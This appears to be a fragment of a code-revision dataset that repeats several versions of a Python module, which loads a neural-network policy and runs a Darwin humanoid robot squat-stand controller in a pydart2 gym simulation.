target_pose\n\n\n\n\ndef toRobot(positions):\n # reorder joints\n index = [3,0,4,1,5,2,14,8,15,9,16,10,17,11,18,12,19,13,6,7]\n # convert from radians to int\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i]*180*(1/(np.pi*0.088))) + 2048\n\n return robotState[index].astype(int)\n\n\n#######################################\n# test the file in pydart2 simulation #\n#######################################\nif __name__ == \"__main__\":\n import pydart2 as pydart\n import gym\n\n env = gym.make('DartDarwinSquat-v1') # use the dart_world in the gym environment to avoid copying the data\n env.reset()\n dart_world = env.env.dart_world\n\n class Controller(object):\n def __init__(self, world, policy):\n self.world = world\n self.target = None\n self.kp = np.array([2.1, 1.79, 4.93,\n 2.0, 2.02, 1.98,\n 2.2, 2.06,\n 148, 152, 150, 136, 153, 102,\n 151, 151.4, 150.45, 151.36, 154, 105.2])\n self.kd = np.array([0.21, 0.23, 0.22,\n 0.25, 0.21, 0.26,\n 0.28, 0.213\n , 0.192, 0.198, 0.22, 0.199, 0.02, 0.01,\n 0.53, 0.27, 0.21, 0.205, 0.022, 0.056])\n self.step = 0\n self.frameskip = 25\n self.fulltau = np.zeros(26)\n self.np_policy = policy\n self.target_sim_cache = []\n self.target_hw_cache = []\n\n\n def compute(self):\n if self.step % self.frameskip == 0:\n o = np.concatenate([self.world.skeletons[-1].q[6:], self.world.skeletons[-1].dq[6:]])\n self.target = self.np_policy.act(o, self.world.time())\n self.target_hw_cache.append(toRobot(self.target))\n self.target_sim_cache.append(RADIAN2VAL(self.target))\n np.savetxt('darwin/feedforward_target_simindex.txt', np.array(self.target_sim_cache, dtype=np.int))\n np.savetxt('darwin/feedforward_target_hwindex.txt', np.array(self.target_hw_cache, dtype=np.int))\n tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target) - self.kd * self.world.skeletons[-1].dq[6:]\n self.fulltau = np.concatenate([np.zeros(6), tau])\n self.step += 1\n return np.clip(self.fulltau, -3.5, 3.5) # torque limit of 3.5 Nm\n\n\n # Set joint damping\n for i in range(6, dart_world.skeletons[-1].ndofs):\n j = dart_world.skeletons[-1].dof(i)\n j.set_damping_coefficient(0.515)\n\n dart_world.set_gravity([0, 0, -9.81])\n dart_world.skeletons[1].set_mobile(False)\n dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100\n dart_world.set_collision_detector(0)\n dart_world.skeletons[-1].set_self_collision_check(False)\n\n dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)\n for bn in dart_world.skeletons[-1].bodynodes:\n bn.set_friction_coeff(5.0)\n\n ############################################################################\n #### Setup the policy from file ####\n #### refer to this part for construction of policy to be run on hardware ###\n ############################################################################\n pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376,\n 2047, 2171,\n 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073])\n pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048,\n 2048, 2048,\n 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048])\n\n pose_squat = VAL2RADIAN(pose_squat_val)\n pose_stand = VAL2RADIAN(pose_stand_val)\n\n # keyframe scheduling for squat stand task\n interp_sch = [[0.0, pose_squat],\n [3.0, pose_stand],\n [4.0, pose_stand],\n ]\n policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True,\n action_bins=np.array([11] * 20), delta_angle_scale=0.3)\n ############################################################################\n # End of setup for policy\n # policy should be used for executing on other environments\n ############################################################################\n\n # Initialize the controller\n controller = Controller(dart_world, policy)\n dart_world.skeletons[-1].set_controller(controller)\n print('create controller OK')\n\n pydart.gui.viewer.launch(dart_world,\n default_camera=1) # Use Z-up camera\n\n\n\n\n\n\n\n\n\n\n\n\n\n",
"import joblib\nimport numpy as np\nfrom darwin.darwin_utils import *\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\ndef toRobot(positions):\n index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,\n 6, 7]\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048\n return robotState[index].astype(int)\n\n\nif __name__ == '__main__':\n import pydart2 as pydart\n import gym\n env = gym.make('DartDarwinSquat-v1')\n env.reset()\n dart_world = env.env.dart_world\n\n\n class Controller(object):\n\n def __init__(self, world, policy):\n self.world = world\n self.target = None\n self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06,\n 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, \n 154, 105.2])\n self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, \n 0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, \n 0.21, 0.205, 0.022, 0.056])\n self.step = 0\n self.frameskip = 25\n self.fulltau = np.zeros(26)\n self.np_policy = policy\n self.target_sim_cache = []\n self.target_hw_cache = []\n\n def compute(self):\n if self.step % self.frameskip == 0:\n o = np.concatenate([self.world.skeletons[-1].q[6:], self.\n world.skeletons[-1].dq[6:]])\n self.target = self.np_policy.act(o, self.world.time())\n self.target_hw_cache.append(toRobot(self.target))\n self.target_sim_cache.append(RADIAN2VAL(self.target))\n np.savetxt('darwin/feedforward_target_simindex.txt', np.\n array(self.target_sim_cache, dtype=np.int))\n np.savetxt('darwin/feedforward_target_hwindex.txt', np.\n array(self.target_hw_cache, dtype=np.int))\n tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target\n ) - self.kd * self.world.skeletons[-1].dq[6:]\n self.fulltau = np.concatenate([np.zeros(6), tau])\n self.step += 1\n return np.clip(self.fulltau, -3.5, 3.5)\n for i in range(6, dart_world.skeletons[-1].ndofs):\n j = dart_world.skeletons[-1].dof(i)\n j.set_damping_coefficient(0.515)\n dart_world.set_gravity([0, 0, -9.81])\n dart_world.skeletons[1].set_mobile(False)\n dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100\n dart_world.set_collision_detector(0)\n dart_world.skeletons[-1].set_self_collision_check(False)\n dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)\n for bn in dart_world.skeletons[-1].bodynodes:\n bn.set_friction_coeff(5.0)\n pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, \n 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, \n 2855, 2073])\n pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, \n 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, \n 2048, 2048])\n pose_squat = VAL2RADIAN(pose_squat_val)\n pose_stand = VAL2RADIAN(pose_stand_val)\n interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]]\n policy = NP_Policy(interp_sch,\n 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl',\n discrete_action=True, action_bins=np.array([11] * 20),\n delta_angle_scale=0.3)\n controller = Controller(dart_world, policy)\n dart_world.skeletons[-1].set_controller(controller)\n print('create controller OK')\n pydart.gui.viewer.launch(dart_world, default_camera=1)\n",
"<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in range(len(self.interp_sch) - 1):\n if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0\n ]:\n ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[\n i + 1][0] - self.interp_sch[i][0])\n self.ref_target = ratio * self.interp_sch[i + 1][1] + (\n 1 - ratio) * self.interp_sch[i][1]\n if t > self.interp_sch[-1][0]:\n self.ref_target = self.interp_sch[-1][1]\n target_pose = (self.ref_target + clamped_control * self.\n delta_angle_scale)\n else:\n target_pose = (clamped_control + 1.0) / 2.0 * (\n SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD\n ) + SIM_CONTROL_LOW_BOUND_RAD\n target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD,\n SIM_JOINT_UP_BOUND_RAD)\n return target_pose\n\n\ndef toRobot(positions):\n index = [3, 0, 4, 1, 5, 2, 14, 8, 15, 9, 16, 10, 17, 11, 18, 12, 19, 13,\n 6, 7]\n robotState = np.zeros(len(positions))\n for i in range(len(positions)):\n robotState[i] = int(positions[i] * 180 * (1 / (np.pi * 0.088))) + 2048\n return robotState[index].astype(int)\n\n\nif __name__ == '__main__':\n import pydart2 as pydart\n import gym\n env = gym.make('DartDarwinSquat-v1')\n env.reset()\n dart_world = env.env.dart_world\n\n\n class Controller(object):\n\n def __init__(self, world, policy):\n self.world = world\n self.target = None\n self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06,\n 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, \n 154, 105.2])\n self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, \n 0.213, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, \n 0.21, 0.205, 0.022, 0.056])\n self.step = 0\n self.frameskip = 25\n self.fulltau = np.zeros(26)\n self.np_policy = policy\n self.target_sim_cache = []\n self.target_hw_cache = []\n\n def compute(self):\n if self.step % self.frameskip == 0:\n o = np.concatenate([self.world.skeletons[-1].q[6:], self.\n world.skeletons[-1].dq[6:]])\n self.target = self.np_policy.act(o, self.world.time())\n self.target_hw_cache.append(toRobot(self.target))\n self.target_sim_cache.append(RADIAN2VAL(self.target))\n np.savetxt('darwin/feedforward_target_simindex.txt', np.\n array(self.target_sim_cache, dtype=np.int))\n np.savetxt('darwin/feedforward_target_hwindex.txt', np.\n array(self.target_hw_cache, dtype=np.int))\n tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target\n ) - self.kd * self.world.skeletons[-1].dq[6:]\n self.fulltau = np.concatenate([np.zeros(6), tau])\n self.step += 1\n return np.clip(self.fulltau, -3.5, 3.5)\n for i in range(6, dart_world.skeletons[-1].ndofs):\n j = dart_world.skeletons[-1].dof(i)\n j.set_damping_coefficient(0.515)\n dart_world.set_gravity([0, 0, -9.81])\n dart_world.skeletons[1].set_mobile(False)\n dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100\n dart_world.set_collision_detector(0)\n dart_world.skeletons[-1].set_self_collision_check(False)\n dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)\n for bn in dart_world.skeletons[-1].bodynodes:\n bn.set_friction_coeff(5.0)\n pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, \n 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, \n 2855, 2073])\n pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, \n 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, \n 2048, 2048])\n pose_squat = VAL2RADIAN(pose_squat_val)\n pose_stand = VAL2RADIAN(pose_stand_val)\n interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]]\n policy = NP_Policy(interp_sch,\n 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl',\n discrete_action=True, action_bins=np.array([11] * 20),\n delta_angle_scale=0.3)\n controller = Controller(dart_world, policy)\n dart_world.skeletons[-1].set_controller(controller)\n print('create controller OK')\n pydart.gui.viewer.launch(dart_world, default_camera=1)\n",
"<import token>\n\n\nclass NP_Net:\n\n def __init__(self, nvec=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol/fc' + str(i) + '/kernel:0' in params:\n W = params[pol_scope + '/pol/fc' + str(i) + '/kernel:0']\n b = params[pol_scope + '/pol/fc' + str(i) + '/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n if self.nvec is None:\n return out\n else:\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Net_MirrorSym:\n\n def __init__(self, nvec=None, observation_permutation=None,\n action_permutation=None):\n self.obrms_mean = None\n self.obrms_std = None\n self.nn_params = []\n self.nvec = nvec\n obs_perm_mat = np.zeros((len(observation_permutation), len(\n observation_permutation)), dtype=np.float32)\n self.obs_perm_mat = obs_perm_mat\n for i, perm in enumerate(observation_permutation):\n obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n if nvec is None:\n act_perm_mat = np.zeros((len(action_permutation), len(\n action_permutation)), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)\n else:\n total_dim = int(np.sum(nvec))\n dim_index = np.concatenate([[0], np.cumsum(nvec)])\n act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)\n self.act_perm_mat = act_perm_mat\n for i, perm in enumerate(action_permutation):\n perm_mat = np.identity(nvec[i])\n if np.sign(perm) < 0:\n perm_mat = np.flipud(perm_mat)\n self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],\n dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm)\n )] + nvec[int(np.abs(perm))]] = perm_mat\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope + '/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope + '/obfilter/count:0']\n obrms_runningsum = params[pol_scope + '/obfilter/runningsum:0']\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count -\n self.obrms_mean ** 2, 0.01, 1000000))\n for i in range(10):\n if pol_scope + '/pol_net/genff' + str(i) + '/w:0' in params:\n W = params[pol_scope + '/pol_net/genff' + str(i) + '/w:0']\n b = params[pol_scope + '/pol_net/genff' + str(i) + '/b:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol_net/genff_out/w:0']\n b_final = params[pol_scope + '/pol_net/genff_out/b:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation=np.tanh):\n assert self.obrms_mean is not None\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0,\n 5.0)\n for i in range(len(self.nn_params) - 1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) +\n self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.\n obrms_mean) / self.obrms_std, -5.0, 5.0)\n for i in range(len(self.nn_params) - 1):\n mirrorlast_out = activation(np.dot(self.nn_params[i][0].T,\n mirrorlast_out) + self.nn_params[i][1])\n mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) +\n self.nn_params[-1][1], self.act_perm_mat)\n if self.nvec is None:\n return out + mirrorout\n else:\n splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]\n )\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n\nclass NP_Policy:\n\n def __init__(self, interp_sch, param_file, discrete_action, action_bins,\n delta_angle_scale, action_filter_size, obs_perm=None, act_perm=None):\n self.interp_sch = interp_sch\n self.obs_cache = []\n self.action_cache = []\n self.action_filter_size = action_filter_size\n if interp_sch is not None:\n self.net = NP_Net()\n else:\n self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)\n self.net.load_from_file(param_file)\n self.discrete_action = discrete_action\n self.delta_angle_scale = delta_angle_scale\n if discrete_action:\n self.net.nvec = action_bins\n\n def get_initial_state(self):\n if self.interp_sch is not None:\n return self.interp_sch[0][1]\n else:\n return 0.5 * (pose_squat + pose_stand)\n\n def reset(self):\n self.action_cache = []\n\n def act(self, o, t):\n new_action = self.net.get_output(o)\n if self.discrete_action:\n new_action = new_action * 1.0 / np.floor(self.net.nvec / 2.0) - 1.0\n self.action_cache.append(new_action)\n if len(self.action_cache) > self.action_filter_size:\n self.action_cache.pop(0)\n filtered_action = np.mean(self.action_cache, axis=0)\n clamped_control = np.clip(filtered_action, -1, 1)\n if self.interp_sch is not None:\n self.ref_target = self.interp_sch[0][1]\n for i in 